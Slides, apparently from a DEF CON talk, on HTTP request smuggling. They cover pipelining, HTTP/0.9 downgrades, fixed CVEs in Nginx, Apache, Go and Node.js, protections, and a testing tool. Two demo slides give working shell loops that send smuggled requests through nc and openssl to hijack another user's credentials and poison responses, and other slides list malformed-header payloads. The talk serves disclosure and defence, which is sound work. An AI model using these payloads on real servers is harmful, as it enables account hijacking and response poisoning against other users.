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Why wookiees?

● It's all about smugglers, 
wookiee requests and 
responses

● Wookiee language is a 
thing

– hard to speak

– Easy to misinterpret



Outline

● The minimum required on HTTP (Keep-alive, pipelining)

● What is HTTP smuggling, exploitations

● Some recent attack vectors

● HTTP 0.9

● Demos: credential hijacking & cache poisoning without a 
cache

● A tool : HTTPWookiee



whoami

● @regilero
(twitter / stack Overflow / Github)

● I work in a small French Free Software web 
company, Makina Corpus (50p).

● I'm a DevOp (I was a DevOp before the start 
of this millenium).

● Web Security is a small part of my day job, 
and spare time. 

● If I can do it, others might have done it.



Why did I start testing my HTTP tools?

● I really like working with Open Source HTTP servers and 
proxies

● I found 2 interesting papers:

– HTTP Host header real world attacks : 
http://www.skeletonscribe.net/2013/05/practical-http-
host-header-attacks.html

– (2005) HTTP smuggling study : 
http://www.cgisecurity.com/lib/HTTP-Request-
Smuggling.pdf



HTTP Smuggling: Protocol level Attack

● Injection of hidden HTTP message (request or response) 
inside another

● These are usually not browser-based exploits

● Crafting low level HTTP messages

– By definition, most available tools will NOT generate 
these bad messages

● Usually, get errors without consequences... 

● … but not always



Before we start: Keepalives and Pipelines 

● 1 TCP/IP connection per 
resource

● Big perf killer

● By the way (and this is still 
true), the connection 
ending is complex



So, Keepalive

● The SYN, SYN/ACK, ACK 
is made only once, 
connection is kept open

● May be reused for next 
exchange

● If you do not use HTTP/2, 
chances are this is what 
your browser does



Pipelines, source of most smuggling issues

● Not really used

● But supported by servers

● Still have to wait if one 
response is big (Head of 
line blocking)

● Wonder why HTTP/2 
finally used a real binary 
multiplexing protocol?

– Head of line AND 
SMUGGLING



Pipelines and Reverse Proxies

● The proxy may use keep-
alive with the backend

● The proxy is quite 
certainly not using 
pipelining with the backend

● But the backend is not 
aware of that...



So, smuggling

● Use messages that could 
be

– 1 message (VALID)

– a pipeline of n 
messages (MISTAKE)

● Different actors

– Transmitter: 
ignore/transmit the 
strange syntax

– Splitter: split requests 
(or responses) on this 
syntax



Payloads: What are the final objectives?

● Simply run a forbidden request (filter bypass)

● Make one actor crash on bad syntax (DOS)

● Use shift in response stream to poison a cached response

● Hijack another user HTTP credentials (HTTP Auth, 
cookies), using unterminated queries

● …

● All this was already described in 2005



Exploits: it's all about size

● Double Content-Length headers

● Content-Length or chunked transmission with end-of-chunks 
marker?

● Invalid headers or values:

– Content[SPACE]Length:

– Content-Length: 90000000000000000000000000000000042

● Invalid end of lines (EOL) for headers:

– [CR][LF] => VALID

– [LF] => VALID

– [CR]

● Old features (HTTP v0.9, optional multi-line headers syntax, etc.)



Demo1: Hijacking credentials: exploits

● Nodejs < 5.6.0 Splitting issue:

– [CR]+? == [CR]+[LF]

– Hidden header: Transfer-Encoding: chunked 

– Chunked has priority on Content-Length in RFC (but you 
could also reject it)

● Second query is unterminated...



Demo1: Hijacking credentials

● IF (hard to get):

– keep-alive on reverse-
proxy to backend 
connection

– Reverse proxy had the 
1st response

● Next user, next query, 
will end the partial query



Demo1: Hijacking credentials
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Demo1: Hijacking credentials

for i in `seq 150`
do printf 'GET / HTTP/1.1\r\n'\
'Host:www.demo.net\r\n'\
'Connection: keep-alive\r\n'\
'Dummy: Header\rZTransfer-
Encoding: chunked\r\n'\
'Content-Length: 70\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'POST /user-delete/2 
HTTP/1.1\r\n'\
'Host: www.demo.net\r\n'\
'Partial: Header' | nc -q 30 
127.0.0.1 80 & done

http://www.demo.net/
http://www.demo.net/


Before the Next demo: HTTPv0.9

● HTTP 0.9 is awful, it 
should not exist anymore.

● HTTP 0.9 is the first early 
version of HTTP.

● In this version requests 
and responses are 
transmitted without 
headers

● HTTP v1.1:

GET /foo HTTP/1.1\r\n

– Host: example.com\r\n

– \r\n

● HTTP v1.0:

GET /foo HTTP/1.0\r\n
\r\n

● HTTP v0.9:

GET /foo\r\n



● HTTP 1.1

HTTP/1.1 200 OK\r\n
Date: Tue, 23 Feb 2016 16:47:06 GMT\r\n
Set-Cookie: foo=bar
Last-Modified: Thu, 18 Feb 2016 09:22:26 GMT\r\n
Server: nginx\r\n
Cache-Control: private, max-age=86400
x-frame-options: SAMEORIGIN
content-security-policy: default-src 'none'; base-uri …
Vary: Accept-Encoding\r\n
Content-Type: text/html\r\n 
Content-Length: 54\r\n
\r\n
<html><body>\r\n
<p>Hello world</p>\r\n
</body></html>\r\n

HTTP v0.9 : No Headers

● HTTP 0.9

<html><body>\r\n
<p>Hello world</p>\r\n
</body></html>\r\n

● Without headers the body is just a text 
stream.

● Why not injecting HTTP headers in 
this stream?



Before the Next demo: HTTP/0.9

● Image whose content is HTTP stream:

– In 1.0 or 1.1 this is a bad image

– In 0.9 mode this is an HTTP message

– But this is not a real image...

● Image with EXIF data as HTTP Stream

– Extract EXIF with Range request (206 Partial Content)

● Restrictions on HTTP 0.9 attacks:

– HTTP/1.0 or HTTP/1.1 forced on backend 
communications

– no keep-alive => Connection: close

– No range on 0.9



Before the Next demo: NoCache Poisoning

● Cache poisoning is usually quite complex

● Is there a cache?

● So, NoCache poisoning (or socket buffer poisoning):

– A reverse proxy might re-use a tcp/ip connection to 
WRITE a request, but READ buffer is maybe not 
empty.

– A proxy will usually TRUST the backend communication 
and not expect extra content.



Demo2: NoCache poisoning, 0.9 hidden 
response

We'll use:

● splitting issues present in go 
before version v1.4.3/1.5

– Transfer Encoding: magically 
fixed as 'Transfer-Encoding'

● The nocache poisoning of 
mod_proxy

● An image to store  HTTP 
responses in EXIF data

● HTTP/0.9 bad downgrade (with 
range support), now fixed

● and SSL/HTTPS (too make it 
harder)



Demo2: NoCache poisoning, 0.9 hidden 
response
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Demo2: NoCache poisoning, 0.9 hidden 
response

for i in `seq 5555`; do printf 'GET 
/index.html HTTP/1.1\r\n'\
'Host: www.demo.net\r\n'\
'Transfer Encoding:chunked\r\n'\
'Content-Length: 139\r\n'\
'Connection:keep-alive\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /chewy2.jpg HTTP/0.9\r\n'\
'Connection: keep-alive\r\n'\
'Cookie: Something\r\n'\
'Host:localhost\r\n'\
'Connection: keep-alive\r\n'\
'Range: bytes=24-35193\r\n'\
'\r\n'| openssl s_client -connect 
www.demo.net:443 -quiet 
-servername www.demo.net \
   -no_ign_eof -pause & done;

http://www.demo.net/
http://www.demo.net/


CVE?

● Splitting issues are the real problems. An actor which 
does not read the right number of messages is a security 
threat for all other actors.

– I think this should always be a CVE

– I think it's quite critical

– Project leaders does not always agree on that, for 
various reasons

● Transmission of strange syntax by HTTP agents should be 
avoided (and are usually fixed without CVE)

● Responsibility is hard to define, this is a chain of 
responsibilities, worst case for security enforcement 



Warning

● You will not earn bounties on HTTP Smuggling

– I had an unexpected one from Google on golang

● Testing a public infrastructure on protocol level attacks 
may have unintended consequences on users. You will 
certainly not be considered like a white hat. This is not 
reflected XSS.

● Peer eyes: more people should review existing code

– be one of them

● Things get better, defense in depth really makes smuggler 
life harder



Exploits? Some examples

● Nginx (fixed in 1.7.x) Integer Overflow (hidden query)
this is only 15bytes, and not several Petabytes for Nginx

Content-length: 
900000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000015

● Nginx (fixed in trunk 1.11.x) public issue #762 (15month):

– HTTP/65536.9 (or 65536.8 for POST) : v0.9 downgrade

– Rarely transmitted (fixed in Haproxy in 2015, with also full 0.9 
removal)

● CVE-2015-8852 (5.8): Varnish 3.x: [CR] as EOL & Double 
Content-Length

● Same issue fixed in OpenBSD's http



Exploits? Some examples

● Apache httpd CVE-2015-3183 (2.6): chunk size attribute truncation at 31 
characters. Fixed in 2.4.14.
0000000000000000000000000000000222[CR][LF] => 564bytes
0000000000000000000000000000000[CR][LF] => 0 (end of chunks)

● And also exploits used in the demos.

– Golang: CVE-2015-5739/CVE-2015-5740 (6.8): Double Content-Length 
support + magically fixing invalid headers (replace space by -).

fixed in 1.4.3 and 1.5

– Apache httpd public issue on nocache poisoning (improvements currently on 
test) 

– Nodejs CVE-2016-2086 (4.3): Double Content-Length, CR assumed as 
followed by LF (fixed in v0.10.42 v0.12.10 v4.3.0 v5.6.0)

● And from others: CVE-2016-5699 python urllib (urlencoded crlf injection), 
CVE-2016-2216 nodejs response splitting (unicode crlf injection), etc.



Protections

● Use RFC 7230 (2014) not RFC 2616 (1999)

● Avoid writing your own Reverse Proxy

● Anyway, in case of:

– Rewrite all headers in a very clean way (no copy/paste), 

– Prepare yourself to read books on tcp/ip sockets

– Read the RFC, really (proxy is not the easiest part)

– support browsers, not bots or lazy monitoring tools

– Reject edge cases, be intolerant



Protections

● «In general, an implementation should be conservative in 
its sending behavior, and liberal in its receiving behavior.»
                                        ^^^^^^^
                                        robust

– https://tools.ietf.org/html/draft-thomson-postel-was-wrong-00

● Administrators should have access to more settings

– Suspend pipelining whithout removing keep-alive

– Reject 0.9 queries



Protections

● You can, of course, suspend Keep-alive and go back to 
HTTP/1.0 era...

● Adding a reverse proxy to protect a weak application or HTTP 
implementation is not always a good idea:

– Splitting actors will allow attacks on the proxy

– A Reverse Proxy TRUSTS the backend, that's not the way 
we think it, but that's the way it works. Response stream is 
the weakest

● Use strict agents, like Haproxy, it cannot block everything 
(hidden queries are hidden), but it will bock a lot of attacks

● Nginx is also a quite clean transmitter, used as a reverse proxy

● The next mod_proxy (Apache 2.5) will rocks (StrictProtocol)



Is HTTPS a protection?

● No.

● Why should it be? It enclosed HTTP in another layer, but 
the attacked layer is still HTTP

● Adding an SSL terminator? Great, now you have another 
Reverse proxy, expanding attack surface

Still:

● => HTTPS is great

● => Full-chain in HTTPS is certainly preventing bad routing 
of messages



Is HTTP/2 a protection?

● Smuggling is certainly harder on HTTP/2 but:

– HTTP/1.1 is still there, inside, HTTP/2 is a new 
transport layer

– An HTTP/2 server will always accept an HTTP/1.1 
conversation

– Are you sure your HTTP/2 server is not also accepting 
HTTP 0.9?

– The devil is not on the protocol, it's on the 
implementations (same thing for HTTP/1.1)



HTTPWookiee : The tool

● I do not have much time

● I cannot remember all tests

● I cannot test all HTTP agents

● Testing Transmission of 
message by Proxies means 
controlling the client and the 
backend

● So I automated some of theses tests in a python tool

● I will release theses tests in a GPL free software tool, on 
Github, but my priority is security enforcement, not breaking 
stuff, so you may not have the tests available.



Q&A

● Thanks to all people helping me for this presentation:

– DEFCON team

– Colleagues

– ...
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